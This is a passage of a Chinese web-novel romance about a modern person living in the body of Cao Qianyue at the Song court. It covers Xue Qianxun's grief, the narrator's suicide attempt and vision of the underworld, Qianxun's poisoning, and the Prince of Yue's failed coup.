再醒来已是次日,洒入屋内的阳光很暖,但是芊寻却无心感受,只是心里恐惧的要命,“月儿呢?”芊寻抓住叶心的手追问着,“月儿怎么样了?”一边问着,并不等待回答,就向谦月的房间冲去。 “芊寻,月儿没事”叶心扶着芊寻,安慰道“昨晚你们在药房晕倒了,放心,月儿还好。。。。。。这会儿应该还在睡。”叶心的话并未让芊寻放缓脚步,不行!不看到月儿她不放心,如果月儿真的离开人世。。。。。。那么自己一定要追上她,“月儿,不管到哪里,我都不会让你一个人!”芊寻心里不断的说着。 她真的还在睡,虽然很微弱,但是心口的起伏还在继续。“月儿”芊寻轻轻的唤着,从刚刚的急迫到见到谦月的安心,让她瞬间没了力气,跌坐在床边,用手轻轻抚着谦月的脸,头不自禁的靠在谦月的胸膛,对于芊寻来说,这世上最动听的声音,就只有谦月的心跳声。。。。。。 “别再做傻事,好吗?”谦月抬起手,抱住芊寻。 “你舍得我吗?”谦月的胸口被芊寻的泪浸湿。。。 “怎么会舍得?!我不是醒了吗?别怕,乖乖等我,不管睡多久,不管我梦里去了哪,我都一定会回来!回到你身边。你要是做了傻事,我回来时,又该去哪里寻你呢?”谦月说着,“好好睡一觉吧,等醒了,给我做点好吃的,突然很想吃你做的东西,你做的东西我要吃一辈子。。。。。。” 用最后的力气,点了芊寻的昏睡穴,在她耳边轻轻的说,而后求叶心把芊寻带走。望着她们离去的背影——渐渐远去的芊寻,谦月眼角的泪终于滑落。。。。。。 “我叫叶月。。。。。。咦!你不会是女孩子吧。。。。。我想找个人住在心里。。”初见时的一幕幕在眼前上演,白衣胜雪的芊寻,却一点点走远,谦月眼前的月光渐渐消失,黑暗如烟雾般蔓延。。。。。。 “月儿,今天好点了吗?”芊寻在门口听到屋里有些声音,努力平复着心情,想来昨天开始谦月的身体似乎有所好转了,难道是老天垂怜我们吗? 可是,为何,眼前的人。。。。。。那么熟悉却又那般陌生。。。。。。 你是我的月儿吗?还是我的月儿吗?芊寻在一次次凝望、拥抱中,在心里追寻着答案。至少,无数次的,我希望你是。可,还是觉得梦里的你,回忆里的你更加真实、更加亲近。月儿,你去哪里了,什么时候回来? “芊寻,芊寻!”芊寻已经睡了好久,昨晚我想叫她吃饭,见她还在睡,我便留下了点心没有吵她。今天已经过了中午,依然没有见她起来,再次进门,没想到她依然还在睡,点心也没有动过,心想着:是不是因为最近她照顾娘太累了?不禁走到床前坐下,看着她,侧卧的芊寻的眉头紧皱。望着她,我心里隐隐的疼着,真想问问眼前的人:芊寻,你梦到什么了?是不是还在想着她。。。。。。 突然她喊着“月儿。。。。。。”,果然啊,你心心念念的人,怎么会是别人!恐怕她陷入梦魇,我一边叫她的名字,一边轻轻拍着她。 芊寻缓缓的张开眼,眼角噙泪。看到床前的人是我,她似乎很惊喜,忙伸手要抚摸我的脸,可是还没有触及,她就突然怔住,随即微微摇了摇头,眼里的光渐渐暗淡下去。 “怎么了?芊寻,做噩梦了吗?”我感觉到她的异样,难道只是因为一场噩梦,才如此生疏。 “一百八十三!”芊寻低着头,喃喃道。 “什么?”我问道,“183?” “还要睡多久,醒来才能见到你?”芊寻没有回答我,自顾自的走下床,打开桌上的布袋取出一个小瓶,倒出一颗香丸丢在香炉中,屋内幽香的味道加重,闻到的瞬间,我似乎想起很多以前的事情,我在现代的事——我的童年、大学许多经历,原来这香味可以让人想到过去。 芊寻又在一次回到床上躺下。 “芊寻,你。。。。。。”我走回床边,追问道,“你在做什么?” “如果你不能醒来,就让我永远在我们的梦里吧!”芊寻幽幽的说着,闭着眼。 “你这样怎么行?”我拉着她起身,“你这样会死的?快醒醒,醒过来好吗?芊寻,看看我,我是。。。。。。。” 我想说自己是谦月,可是直到这一刻,我才知道自己说这话是多么没有底气,也许这就是她异样的原因。 “你不是,你不是月儿,我的月儿还没有醒来,她离开我183天了。。。。。。”芊寻轻轻的说着,泪水也夺眶而出,“月儿,你在哪?” “芊寻,你不要这样,我”我该说什么,说我就是谦月,还是请求她原谅我欺骗,“我。。。。。。对不起,我也没想过骗你,我。。。。。。能做什么,我一定。。。。” “我和月儿的事,能怪谁?我只是怨,为什么你不是她,为什么月儿还不回来!”芊寻突然激动起来,拉着我的衣服,哭着,求着“你可不可以把月儿还给我,没有她的日子我真的一天、一刻也撑不住了。。。。。。求你,把月儿还给我。。。。。。” “如果可以,我愿意。。。。。。”见到蜷缩成一团的芊寻,崩溃失声的她,我真的不知所措,“我愿意做任何事!” 芊寻摇着头,“就让我留在我们的梦里不好吗?” “我”她这样会死的,我想说,谦月最大的希望就是芊寻能好好的活着,她们曾经约定让时间可以抚平一切,更何况有我这个替身也许可以更好的缓解芊寻的痛苦,可是我们都太天真了!“谦月希望你好好的,她……” “她不要我了!除了梦里我又该去哪找她?”芊寻抬起头,目光涣散。 “她没有,她只是……”我见芊寻的心智已经迷乱,我想安慰她,可是我能说的事实只怕是更加让她伤心,不等我说完,芊寻就用银簪抵住我的脖颈。“她只是死了” “别说了”芊寻忍着泪,不想我说那个事实,她的眼睛红红的,脖子上的感觉让我知道她的手在颤抖,向来只会救人的她,在这一刻失去了理智,但是终就没有伤害我分毫。 “咣”的一声,我挥手将香炉打翻在地,都是这些香让她回忆起过去,让她清晰了我不是谦月的事实!让她更加痛苦…… 其实我们都在自欺欺人罢了!谦月和芊寻早已将彼此融入血脉,怎么会感觉不到,芊寻从见我的第一眼就应该察觉了,只是她不愿相信,谦月已经不再人间这个事实,她一直在寻找我是谦月的感觉,可我终究不是,对她而言谦月走了,任谁都替代不了。。。。。。我又怎么配得到她的爱…… “你的手”因为打翻烧的火热铜制香炉,我的手也被烫伤了,心中被谦月和芊寻占满,竟然忘了疼。芊寻却一把抓起,然后赶忙为我上药。 “我不能让月儿受伤!”芊寻喃喃的说,眼神执着,“不能再让月儿受伤”。 看着她在乎的表情,我的心跌入了谷底,芊寻疼惜的是谦月的身体,从来都是,她会善待我,也都是因为我在谦月的身体里,她看着我眼神太过深邃,仿佛透过我,看向那个自始至终深爱的曹谦月,如果我没有来到这里,也许谦月不会走,就算她们注定分别,我也不愿意见证她们的情与痴,一直以来我这个替身太入戏了,渐渐的自以为可以理所当然的享受芊寻的好,我错了。。。。。。 “我真想把谦月还给你,也许这样可以”不记得我是如何回到瑚儿房中,望着跳动的烛火,我回想起了,有关芊寻的一切,终究是太过美好了,不是我能拥有的。我不是谦月,也不会是。我只是有幸住在谦月的身体里,真真切切的体会了,被人深爱的感觉,梦该醒了,希望我的离开可以换来谦月的回来,或者就此一了百了,再也不用藏在谦月的身体里,看着芊寻伤心却无能为力。。。。。。 手里的匕首被我握紧,该结束了,我闭上眼,滑动匕首。。。。。。 59、永眠 “你这样不是白死嘛!”一个男性的声音响起,随即口中被人塞进一样东西,应该是一颗药丸,来人用手点击我的脖子,一抬手,药丸就咽下去了,“与其白白去死,不如这样试试!”现在才发现来人正是西夏遇到的黄毒人——端木鸩。 “你个端木鸟人,给我吃了什么?”我摸着自己的喉咙,问道。 “九转殊途!”端木鸩一边说着一边不知从哪里拿出一个小酒壶,喝起来“相传九转殊途能让人越过轮回,转世重生,也有说法它能孕育不属于世间的生命,也就是创造生命奇迹的灵药,不过……这也只是传说,没有人真的见过,也没有哪本医书记载过成功的例子。” “没想到雪姑娘将它炼制成了药,却一直不敢给你服用,虽然不知道你们到底发生了什么,不过既然你不想活了,就试试吧,也许能让她满意!”端木鸩轻轻推开窗,看向芊寻所在的房间,淡蓝色的眼眸在月光下映的深邃。 “转世——重生!?”难道吃了这个能唤回谦月的灵魂吗?那我会死吗?还是会回到我自己的家乡吗?。。。。。。 罢了,事已至此,既然已经吃了,而且如果活着看着芊寻痛苦,我宁愿一死一试!可是异样的感觉很快抽走了我的理智,胸口突然变得很闷,热,热的来不及出汗,就感觉要被烤干了,头也渐渐开始变疼。 “谦月你怎么了”在我头痛欲裂,浑身发烫的时候,瑚儿进来了,我本想站起却站不稳了,感觉大脑都要被烤熟,眼前的景象化作一片虚影,一下子跌在瑚儿怀里,也难为她,居然接得下我的重量。 “九转殊途——九死一生”端木鸩笑着说道,“没准他只是□□焚身,正好你来了,你照顾他吧!”随即飘离了房间。 “你放。。。。。。”没有骂出口,我现在确实炙热难耐,不过一点欲望也没有,只有焚身的热,像是突如其来发了四十几度的高烧。瑚儿感到了我的温度异常,“你怎么这么烫,我去找芊寻!” “别。。。。。。水。。。。。。”我费了好大力气才吐出只言片语,她扶我到桌前,为我倒了一杯水送到我嘴边,我忙张口吞水,拯救我干涸的口腔,入口的水第一口是乍来的清凉,接下来就只有温吞,根本无法缓解我的燥热。反倒是背靠着的人,她的冰冷是我想要依恋的,我此刻渴望瑚儿的清凉,正如同她往日需要我的温暖。我紧紧地抱住瑚儿,似乎是抱着海中的浮木。 “我弄痛你了吗?”感到怀抱里的人有些颤抖,我是不是烫到她了,我不舍的将她放开,拿起水壶向头上倒,“你这样会受寒的”瑚儿夺下水壶,用袖子为我擦拭脸上、头上的水,然后扶我到床上坐下,并为我脱下衣衫。很快的,我便只穿着纤云甲躺下,没想到瑚儿也解开了自己的衣衫,附在我的身上。这和以往电视里的情节真是大相径庭,他们都是这样取暖,而她却在为我降温。。。。。。 “瑚儿,爹爹来看你了,想不想爹。。。。”才和瑚儿肌肤相亲,道君皇帝的声音就破门而入,场面和赵金奴那日一样悲催,我转过头看到惊呆了的皇帝和太监,他们眼里的画面是,我和瑚儿头发凌乱,她衣衫不整的趴在我身上,不过幸好是她在我上面,误会会不会少一点呢,才怪嘞~这还是很尴尬的! “曹晟,朕剁了你!!”皇帝回头找侍卫拿刀。 “陛下且慢”芊寻突然冲过来,在我的颈上,头顶施针。随着针的刺入,身体的灼热感似乎一点点减少,不过眼皮也越来越沉。 我最后看到的画面是,皇帝提着刀走过来,芊寻转身跪到皇帝面前,没等开口就被皇帝一脚踢在肩膀上,芊寻吃疼倒地。我想开口说话,却没有一点力气。。。。。。 突然,皇帝似乎在芊寻身上看到了什么,附身下来,刀也丢在了地上。此刻的我眼前的黑色越来越多,渐渐的失去了意识,耳边听到的声音好像是“你是碧清的女儿!” 眼前的黑暗突然消失,周围是阴沉沉的天色,我起身发现在自己在一个街巷中,却没有行人。突然一个身影一闪而过,我忙跟了上去,走着走着,我们来到了一条平坦的土路上,我加快脚步,终于在一片湖水前赶上了她,“谦月”那人转身的瞬间,我惊呼。 “好久不见”谦月也略有惊奇,但还是很快恢复了平静。“你怎么也到了这?” 这里是?我注意到湖水的中间有一道土垒成的桥,桥的对面是一片森林,黑沉沉的,里面似乎有身影跑动。桥的这边有个约莫三十岁的御姐,穿着朱红色的衣服,头发简单挽起,微微有几缕卷发垂于耳际。她身旁是一个大灶台,铁锅里的汤水冒着热气。难道她是孟婆,那么这里岂不是轮回的边缘。 “你也把自己搞的来了这里”谦月无奈的说着,“该有多少人伤心?” “不会有人的”听她感慨,我心头的酸楚也蒙上来,她死了,她的娘和芊寻会伤心,而我,她们都不知道我是谁,又怎么会有人为我难过。 “还是你回来吧!”我怅然说道,“对芊寻,你是无可取代的!” “我又何尝不想?”谦月走到孟婆的锅灶前,“一个灵魂不能回到自己的身体两次,纵然是回去,我也不再是这个模样。” “自助拿取啊”孟婆爽快的说了句,随即拿起一本话本自顾自的看了起来,书本上赫然写着“乱世皇妃”,孟婆婆原来还有颗少女心(*@o@*)哇~画风好像不太对呀。 转念一想,难道转世之前不是非得喝孟婆汤吗?如果可以选择,真的有那么多人选择忘记一切,重新开始吗? “当然啊!”孟婆突然抬头,似是回答着我的脑洞,“如果不喝,就当你发誓了,要找到你此生命中注定的恋人,不管来世她在不在,他变成什么样子,你都只要她,哪怕没有姻缘,不能相见,你也只求记得她,哪怕自己孤独一生;但,如果喝了的话,就可以重新开始一生了,不执着、不思念。。。。。。。”孟婆合上书,盛了一碗汤递给我,淡黄色的汤散发着淡淡青草味道,就好像雨后的空气。“你……敢赌吗?” 我并不记得自己前世爱过谁,想来我是曾经妥协了吧! “哗啦”一声,湖水里似乎出现了什么,寻声望去,一个白衣女子从水中升起,悬浮于水面,面容安详,乍一看有些像菩萨,引人膜拜。可是转眼之间她就变了一番模样,成了一个短发身穿类似罗马战士短衣的面目狰狞的人,发出刺耳的声音向我们这边冲过来。谦月迎了上去,和他在水面上交起手来,一青一白两道光影在湖上交错,很是光辉灿烂,原来谦月功夫如此厉害,今日真是领教了。 约莫半小时,青衣妖怪被踢落在湖边,谦月忙丢出一个银色绳索将它束缚住。“走吧”谦月押着它,回头叫我跟上。我们一起向来时的街巷走去,转了四五个弯进了一座大房子,里面正堂做了个大胡子,穿着华丽庄重。“拜见阎君,这青玉罗刹已经擒获,望阎君信守承诺,赐我重回现世人间!”谦月跪下,也示意我跪下。 “曹晟,葵巳年四月初九甲戌时洛州生人,寿元16,为人时刚毅从善、造福百姓,本被判于12年后转世为人,念及入地府后亦为维护此地太平多有贡献,半年之内立大功四件、除恶煞、修罗百名,加之北斗璇玑星君求情,故改判一年半后再世为人。。。。。。”阎王爷将一道旨意交于判官,判官朗读起来,随后叫谦月过去,悄悄说了几句。 “一年半之后转世为人,这也。。。。。”我和谦月回到孟婆处,谦月说自己不打算喝这个汤的,不过一年之后她再回来,就算还记得芊寻,等她长大了,这也是超级姐妹恋了,我不免为她们担心。 “我也不想让她等太久,不过每个地方都有规矩,我已经很努力的在争取回去了”谦月望着对面的森林怅然道,“判官告诉我,一年半之后,我会在战火中重生!到时。。。。。。”谦月一边说着,不待我多问,就一把将我推入湖水中,这湖水似乎没有浮力,只让人往下沉,沉入水底前,我似乎听到她说:多多关照! 笑容很灿烂嘛!坏人~(tロt)σ。 “你醒了!”瑚儿惊喜的声音与眼前的光同时传入意识,是的,我醒了。 “芊寻呢?皇上有没有为难她?”我脱口而出,急着坐起,晕倒前的景象还历历在目,陛下踢倒了芊寻,她没事吧? “你晕了两天两夜,身体还虚弱,先不用担心芊寻”瑚儿将我按在床上“芊寻好像是我姐姐,父皇怎么会为难她!” 姐姐?芊寻是皇帝的女儿?! “两天没吃东西,饿了吗?喏,先喝点粥”瑚儿为我垫高了布枕头,“我一直用小火炉保温的哟,来尝尝!” “谢谢你”我接过碗,喝了一口,黑芝麻糊喂~粥也能煮糊了,我真是佩服瑚儿的料理才能。 “很难喝吗”瑚儿看我喝了一口就五官聚集而且迟迟不再动口的样子,“这两天冷语外出了,我好心好意亲手给你熬的粥,这可是我这辈子第一次做饭,连父皇都没吃过,你居然嫌弃”瑚儿有些气鼓鼓的。 幸好没让你父亲喝,不然起码算弑君,算了,也不夸张了,毕竟一番心意,而且我也真的好饿,“我喝还不行嘛!” “乖了,我给你放点果脯就不苦了吧”瑚儿转怒为乐,不由分说的往碗里放了一把蜜果脯,然后抢过碗,喂我吃起来,算是奖励我给她面子,也有可能是逼我吃光它。 “芊寻真的是你姐姐?”我一边吃,一边问道。 “应该差不多,那日父皇本来要杀你”瑚儿将粥放在嘴边轻轻吹了吹,喂给我,然后讲起了那日我昏迷之后的经历。 那日见到那番情景,皇帝已经气的急火攻心了,一时之间估计谁劝都不行,可是他踢倒芊寻后,看到了芊寻的紫玉蝴蝶,一下子竟然叫出了“碧清”这个名字,这人正是芊寻的娘。十几年前的往事似乎涌上了皇帝心头,他扶起芊寻,问及家人情况,不禁感慨流泪,“她为我太多!是我辜负。。。。。。”。随即问及此情此景,芊寻忙说,我与瑚儿二人皆中了毒,需要短暂接触方可解救,而且她拉起了瑚儿的手臂向皇帝展示,皇帝才相信,我和瑚儿确实没有越礼之举,这危机也就化解了。 “手臂?”我疑惑道。“给我看看” “额,真讨厌”我已经拉起了瑚儿的袖子,发现她的小手臂内侧有一个朱红色的小圆点,莫不是守宫砂!我还是第一次见到! 瑚儿扯回了衣袖,又塞给我一勺糊粥作为报复。早注意到她有这个,也不用老被她用被子上的朱砂痕迹骗了。╮(╯▽╰)╭ “那紫玉蝴蝶本是一对,父皇送给了我娘亲一只,不过好像我出生那年就不见了”瑚儿接着科普道,所以皇帝能送紫玉蝴蝶的人一定是心头的人,那么无论是怜爱还是愧疚都会让皇帝对芊寻和瑚儿发不起脾气。 “对了,冷语最近好像有心上人了,这两天魂不守舍的。。。。。。巴拉巴拉拉”瑚儿开始聊起了八卦,我却想着最近的事,没怎么认真听,不知不觉,一大碗味道诡异的粥就喝完了,瑚儿看着空空的碗甚是欣慰。 “怎么样,还饿吗?”瑚儿认真的望着我,“我听说叫花鸡不错,我去试试做给你吃呀?”说着不自觉的打了哈欠,才注意看她的脸,居然有黑眼圈了,难道这两天她一只在照顾我,也许只是她没我太冷睡不着吧,我虽然晕了,但是身体还是热的。我这样想着,不过还是很感谢她。也许知道真相之后,只有她还能对我好一点了。 “我真的吃的很饱很饱啦,你这两天是不是也没睡好,像个熊猫似的,早点休息吧”我拉住她。 “嗯,好吧,那改日再做,到时你可得吃光它”瑚儿又打了一个哈欠,“我去梳洗一下,一会回来。” 瑚儿离开之后,屋里静了下来,我还是想看看芊寻的情况,虽然还有点乏,但是毕竟吃了东西,使把劲,出了满头虚汗,还是能下地行走的。 屋外已经是晚上了,入秋的夜里凉飕飕的,我拉紧了披在身上的衣服,来到芊寻的门前,想要敲门,却迟疑了,不知我昏迷这段时间的梦境是真是假,谦月的归来是否真的可期,芊寻会想见到我吗? 犹豫之间房门开了,芊寻一袭白衣,宛若我们们初见之时,恍如隔世的感觉让我失神。 “外面冷,先进来吧!”芊寻转身返回屋内,挑亮灯火,我也跟着坐在桌前。 “你知道我会来?”我轻轻的问道。 “感觉到了”芊寻一边说一边为我诊脉,面露质疑之色,而后,掀开我的衣襟,看了看我的心口,微微叹了口气。“果然,月儿已经不在了!” “什么?”我脱口问道,谦月不是早已死了吗?为什么你现在才说这样的话,难道是才肯接受吗? “我和月儿有心血相连的情缘,就算半年来,住在她身体里的是你,你的心绪我也可以感到,可是直到刚才,我突然有种失落和迷茫的感觉,一点也感觉不到谦月了。”芊寻看着我,目光空洞起来“你心口和手掌的伤疤都无影无踪了,宛若新生一般,看来九转殊途创造生命的力量对于你也就是让人的身体重生罢了,如果能在半年前找到它,给月儿服用,也许一切都不一样了。可惜我的月儿,再也不在这人间了!” 新生!?我身上以往谦月的伤病痕迹都不见了,那么这幅肉身就属于我了吗? “谦月会回来的”我突然想到,“我昏迷期间见到她了,她说一年半以后就会回到你身边!” “你说的……是真的!?”芊寻看向我,“月儿会回来!”目光里充满希冀。 “是的,她亲口告诉我的”我点头。眼前人的生机似乎被我的话语和动作点燃。 “好,不管多久我都会等,只要她回来”芊寻笑了,依旧是那么美丽,却比往日更加清醒,不再是迷惑的爱恋。“还没有。。。。问过你的名字,一直以来把你当做月儿的。。。。。。唐突了,请见谅!” 我的名字,你终于接受了我不是谦月的事实,也终于把我当成了个朋友。芊寻,我该感慨还是感激,是你让我体会了人间的至情至爱,又让我怅然若失吗?罢了,我终于可以以自己的名字面对你了,芊寻。 “我的名字是倪。。。。。。”我正要说。。。 “小心”芊寻一把推开我,等我再一次看向她,一只冰针已经刺入她的心口,眨眼间就开始冒气消失。 “芊寻!!”我冲过去,迎到的只是已经瘫软的身体,她无力的倒在我的怀里。 “好毒”芊寻轻轻的说“怕是没人救得了了!”突然她看向我,眼睛流出了血泪,“看着我,让我再看一眼谦月的脸。。。。。。。。”她的生命仿佛随着吐出的每一个字而渐渐消逝,她伸手要抚摸我的脸,“月儿,我来了。。。。。。”她的手未能触及,便垂了下去。 她,雪芊寻,就这样怀着与谦月重逢的喜悦心愿,突然的,在我怀里永远的睡去了。。。。。。 60、牺牲品 “谦月,你干什么?” 我仿佛可以清晰的看见,芊寻最后一丝带着温度的气息是如何离开她,从红润的唇齿间溜走,消失不见。 不,不可以让你死,我要救你,芊寻,我一定要救你。 我该怎么办,我能做什么? 轻轻的将芊寻放平在地上,伸手触摸着她冰冷的脸颊,她的唇色依然丹红,为何就不见了气息,不再有活着的体征。望着她,情不自禁的吻了上去,杏仁的香气浸入我的口腔。我也会中毒吗?无所谓了!我双手交叠,快速的按压芊寻的心口,然后在向她的口中吹气。。。。。。不多时,我便觉得神志患失,我在做什么?我不知道,只有本能的为芊寻做着心肺复苏,而我也已意识不到,这样做是否有用。 “谦月,你干什么?”是瑚儿在拉扯着我,我却充耳不闻,依旧本能的重复着动作。“曹晟!你疯够了没有?”啪,瑚儿一个耳光袭来,力道极大让我失了重心,我被打得向旁边跌去,支撑起身时才发觉双手的血管已经呈现暗黑色的凸起着,这并没有让我反应出什么,爬回到芊寻身边,依旧要按压她的心脏。 “够了,谦月,够了”瑚儿环住我的肩“我们这样不行,也许御医有办法,你能做的已经够了!冷语!快回宫里找御医,善解毒的”吩咐冷语进宫时瑚儿依旧紧紧地抱着我。 “解毒,毒人!”对,端木鸩会有办法,他一定有办法!他应该在附近,想着,我便开始疯狂的大叫“端木鸩,端木鸩!快,快来。。。救。。。”救救芊寻,未等我喊出最后几个字,胸口一股火瞒过喉咙升腾起来,冲口而出便是一口黑血,我还想继续,但却无法止住咳,“救,咳咳,端。。。”我的身体随着咳颤抖,瑚儿在我咳嗽之初便放开了我,手由上而下轻轻的抚着我的背,“谦月,谦月,先别喊了”说着说着,她竟然流下泪来,我一边咳嗽一边摇头“那让我来,我替你喊,好不好,你不要说话”她的声音被泪水浸湿,不再清晰悦耳。 “端木鸩!”瑚儿声嘶力竭的呼喊着“端木鸩!” “鬼叫什么!不过是不想看你们卿卿我我,就去喝了一杯”端木鸩的声音由远及近,不慌不忙的从外飘入,“你们秀恩爱。。。。也不。。。雪姑娘!!”丢了酒壶,端木鸩冲到芊寻跟前,附身嗅了嗅,慌忙又用手指抵在芊寻颈部,呼吸也不禁乱了套,“此毒……此毒无解”端木鸩的垂着头,颓然的坐在地上。 “无解?不可能。。你是天下第一用毒高手,咳。。。怎么有你解不了的毒?”我抓着他的衣领询问,得到的回应只是他垂得更低的头。 “芊寻”我伏在芊寻胸口,心跳声还依稀可闻,芊寻,你不能死,你和谦月还没有重逢,你们还没有执手天涯,我忍着咳,再一次捶着芊寻的心口,我还能听到你的心跳,我不想它停止,我希望你和谦月重逢,我希望你好好活着。 “再这样你也会死”端木鸩木然的看着我,“没用的!” “芊寻,醒醒,你和谦月不是约好再去苍山洱吗?在那里共度一生。。。。。”也许是我已经耗费了太多体力,也许是我和她接触太多,被毒素感染,鼻子也开始流血,可是我能做什么,我宁愿死在这,也不想看着芊寻消失在我面前。 “苍山洱海?苍海一瞬!”端木鸩突然坐起,翻出自己的香囊,用力扯破,一颗淡化色的半个小拇指盖大小的圆球掉了出来,端木鸩将它喂到芊寻口中,随即用银针扎破她的左手无名指,黑色的血流出,他继续轻轻的揉挤芊寻的手指,渐渐地,血液由黑转暗红直至鲜红色。 我赶忙用手触探芊寻的鼻息,似乎有了一丝异常微弱的气,得救了?! “御医到了”冷语带着一老一少两位御医,三人气喘吁吁的冲进来。 “快看看她,陈御医请您看看驸马”瑚儿唤年老的御医过来诊治我,年轻的御医跪在芊寻身边,二话不说拿出银针,向芊寻刺去,说时迟那时快,端木鸩一下子扭住了他的手腕,“你干什么呢?” “当。。。当然是救人!”年轻御医咬着牙说道。 “连我都需要点时间确认是何毒,你一上来就知道?”端木鸩说着加大了扭转的力度,“而且什么毒需要刺气海穴来解,还嫌毒扩散的慢吗?说!你是谁派来的,为何要加害雪姑娘?” 年轻御医没有说话,我们可以听到骨头咯咯响的声音,“我这样是不是太粗鲁了?”端木鸩突然笑了笑,“要不来点文的,你们中原人喜欢的!” 说着他放开了御医的手,御医却大叫起来,不知何时一只五彩蝎子突然出现在了御医的脸上。“饶命啊,我真是为了救人!”端木鸩冷哼一声,目光随即转移到老御医身上。 “我和他不是一伙的,我是救人的!”老御医连忙摆手解释,说着不由分说的一针刺在我的眉心,胸口一阵灼痛,我呕出了一口血,颜色却已经不像刚刚那么暗,随即御医将一颗药丸承给了瑚儿“驸马中毒不深,服下清心丸便可无恙,至于雪姑娘之毒,臣无能,而且臣确实不知王御医和此事背后是否有关,请公主明鉴”说完陈老御医叩首。端木鸩和芊寻都可通过观看和闻味道断定毒物、药物,他向我们点点头,瑚儿便喂我服下药丸,再一次呼气之间就觉得身体畅快许多。 此时,满地打滚的小王御医已经饱尝花蝎子折磨,突然改口“我说!。。。。我说,是。。。” “皇上驾到”内官的声音传来,打断了王御医的供词。 “瑚儿,何事急唤御医”皇帝未及在门口便唤道,“你二姐说今晚请我来看戏,谁知在门口见到了御医的马车,怎么回事?”皇帝担心的问。 “臣弟救驾来迟,皇上恕罪了!”几乎是皇上的话音刚落,越王就带着一群人冲入我家宅院内,说是来护驾的,可是见了皇上却不行拜礼,也未收起兵刃,月光下刀刃的寒光闪烁。。。。。。 “王爷救我!”王御医听到越王的声音,凭借最后一点理智,冲到院里,跪在越王面前求救。 “成了?”越王问跪在地下的人。 “她中毒已深”王御医咬着牙,有气无力的说,“你快请人救我!” “何人中毒了?”皇上见此情景问道。 “父皇,怕是家嫂”一旁的赵金奴答道。 “雪儿!”皇帝在门口不禁说着,很快便大声呼道“怎会如此?你们御医是吃干饭的吗?任由人躺在这儿?快,给朕救人!她若有个好歹,你们就一起陪葬!”皇帝看起来有点着急,一边说一边走近。皇帝话音刚落,陈御医忙磕头呼喊“臣无能,皇上开恩!开恩” “父皇,保重龙体”金奴一下拉住皇帝,“家嫂中的毒恐怕凶险异常,怕。。。。。只有皇叔知道怎么救吧!” “偲弟?”皇上疑惑,转身看向越王“偲弟可有救人之方!” “此刻,皇兄还有心情关心一个女子的死活吗?”越王一改往日谦卑的姿态,质问起了皇上,身后的刀剑光芒更寒。 “当然,她可是。。。。”皇帝没有在意越王的异样,疾步走向他,面色焦急,声音都变得抖了起来,“她可是我赵家血脉!偲弟不救?” “托陛下的福,赵家血脉何其之多,在乎这一两个吗?”越王冷笑一声。(历史上徽宗皇帝有六七十个孩子呢?活到成年的也有五十左右,算是高产了) “她是碧清的女儿!”皇帝激动的说着,“你难道忘了她吗?这紫玉蝴蝶是父皇送给你我二人的,你的那只送给了碧清不是吗?她曾是你心上人啊!你怎能?” “你不提还好,就因为是她的女儿,她才该死!”越王几乎是咬着牙在说,随手夺过紫玉蝴蝶摔在地上“若没有她从中捣乱,当今天子就不是你了!”质地坚硬的紫玉蝴蝶没有碎,在月光下的它呈现暗红色,悲凉的躺在了地上,它曾是一段海誓山盟的寄托,如今只有深深的恨意萦绕着它! “赵佶,人们都怎么说你的,万般皆能,唯不适为君!”越王质问着,随即慷慨而言“这些年都是我在殚精竭虑的处理政事,,而你纵情玩乐,宠信奸佞小人,昏聩误国,惹得民怨四起,你——配做皇帝?。。。。。。。不如,还是让我来吧!” “纵然你有万般不忿,让子女死在父母面前这样有伤天道的事,朕可做不出,偲弟当朕求你,救救雪儿吧!”皇帝继续向前,恳切的说着,手抓着越王的肩轻轻摇动,算是请求。 “哟,我哥还真是情种,不过”越王很解气的说道,“她中毒,没有解药!” “没有解药!?”为何又是这句话,我在他们开始对话之初,便和瑚儿、端木鸩将芊寻从地上移到床上,再一次听到芊寻无法救治的话语时,我抓住芊寻的手腕,没有脉搏,但是心口却有非常微弱的心跳,触及她的脸庞,虽然冰冷,但是呼吸还是可以感知的,怎么就无药可救了呢!? “无解!?”皇帝又一次问道,似是求证! “当然,我也需要一个决心!”越王说及此处竟有些怅然。 “如此!”皇帝突然笑了,转而对金奴说“金奴今晚不是要让为父看戏吗?” “回父皇,这就开始!”说着金奴似乎放了一只响箭到空中,院落里被照的一瞬间犹如白昼。烟火声还没有消失,一队禁军便鱼贯而入,将越王的人马围在中间。 “臣(儿臣)救驾来迟,望皇上(父皇)恕罪!”带领禁军的人是蔡太师和皇长子,我与他们也都不过是科举后酒宴上的一面之缘,他们请着罪,跪在皇帝面前,看这诚恳的态度是真来救驾的。 “父皇,布政使司刘明、中军都卫柴天等越王党羽已悉数伏法”,长子赵桓禀告着。同时被押着跪在旁边的还有今日就未曾见到的冷岩。 妹妹金奴抢在皇帝回答之前又加了一句“想必王叔家里也清理干净了!父王,您觉得这出戏,儿臣们安排的可还行?” “就这样?”皇帝没有看救驾之军,而是转脸问了女儿一句,面容和语气都带着些许玩味。“还差那么点意思,让朕为你们添个高潮吧!”说着,皇帝示意身边太监从袖中取出一封,皇帝随即将信递到了越王跟前,越王看着信封上的字迹,迫不及待的接过打开,他的手逐渐颤抖,眼睛也越瞪越大,口中喃喃道:不、不会、不。。。。。。 皇帝轻笑一声,回头看看自己的子女,眼神里的意思像是你们看好了! “老弟,你和碧清给先皇兄献药的事我知道!先皇兄无嗣,你以为全心理政就能在皇兄崩逝后得到众臣支持,结果呢?却因为同样无子嗣而给朕做了嫁衣。”皇帝走进一步,“其实子女多也有子女多的烦恼,偲弟善政,朕怎忍心让你因为儿女牵绊而荒废理想!所以,一直命名医关照着你和你的妻妾!不过。。。。。。。。没想到千算万算,还是差点漏下了碧清的女儿”,皇帝又接近越王一步,“好在偲弟够狠绝!” “赵吉,我和你拼了!”越王终于忍不住冲了过去,两人间距不足一臂,一下子,他便抓住了皇帝的肩膀,本以为困兽之勇会很可怕,而且他又比皇帝年轻些,所以正当众人要冲过去护驾之时,皇帝却轻轻抖了抖肩,脱离了越王的擒拿,随即反手将越王扭倒推到了一边,“你也说朕万般皆能,别忘了,这擒拿手还是朕教你的!” 满盘皆输!越王刚好跪在丢弃的紫玉蝴蝶前,他怔怔的捧起这玉佩,闭上眼,神情满是懊悔与不甘,随即用玉佩狠狠砸着自己的额头,紫玉乃奇石是何等坚固!只一下,越王便头破血流,他没有停下,而是想要以此终结苦痛,却被皇帝一脚踢倒,“罢了!朕也不想再看到兄弟死在眼前了!来人,传朕旨意:越王多年来一心为国、殚精竭虑,致使身心俱损、神智失常,酌安于府内静养,无朕的旨意任何人不得扰其清幽!此事由皇长子办吧!” 